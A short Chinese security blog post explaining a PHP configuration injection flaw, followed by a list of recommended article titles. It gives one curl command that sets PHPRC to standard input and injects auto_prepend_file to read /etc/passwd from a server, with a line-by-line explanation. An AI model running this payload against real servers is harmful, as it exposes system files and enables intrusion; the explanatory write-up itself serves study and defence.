【网络安全】PHP配置注入漏洞

未经许可,不得转载。

文章目录

正文

前提:通过探测等方式发现某个 PHP 文件存在 PHPRC 参数:

bash 复制代码
curl "https://xxx.com/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

PHPRC 用于指定 PHP 配置文件(php.ini)的路径。通过将其设置为 /dev/fd/0,我们尝试让服务器从标准输入读取 PHP 配置。

--data-binary 参数以二进制格式发送数据,适合传递原始数据而非标准表单参数。

auto_prepend_file 是 PHP 配置选项,可以在执行脚本前自动包含指定文件。这里我们设置为 /etc/passwd,试图读取系统敏感信息。

漏洞证明如下:

相关推荐
llxxyy卢13 小时前
逻辑越权之水平垂直越权
web安全·web
石像鬼₧魂石17 小时前
内网渗透是网络安全渗透测试
安全·web安全
保持低旋律节奏18 小时前
linux——进程状态
android·linux·php
计算机学姐19 小时前
基于php的摄影网站系统
开发语言·vue.js·后端·mysql·php·phpstorm
Neolnfra19 小时前
渗透测试标准化流程
开发语言·安全·web安全·http·网络安全·https·系统安全
计算机学姐19 小时前
基于php的旅游景点预约门票管理系统
开发语言·后端·mysql·php·phpstorm
百***074520 小时前
GPT-5.2国内稳定接入实战指南:中转调用全链路方案(Python适配)
python·gpt·php
小阿宁的猫猫1 天前
sqlmap的使用
sql·网络安全·php
roman_日积跬步-终至千里1 天前
【Starrocks】StarRocks 排错:`Invalid method name: ‘heartbeat‘`(BE 心跳端口/协议错误)
服务器·网络·php
Maybe I Simple1 天前
PHP常用方法封装
php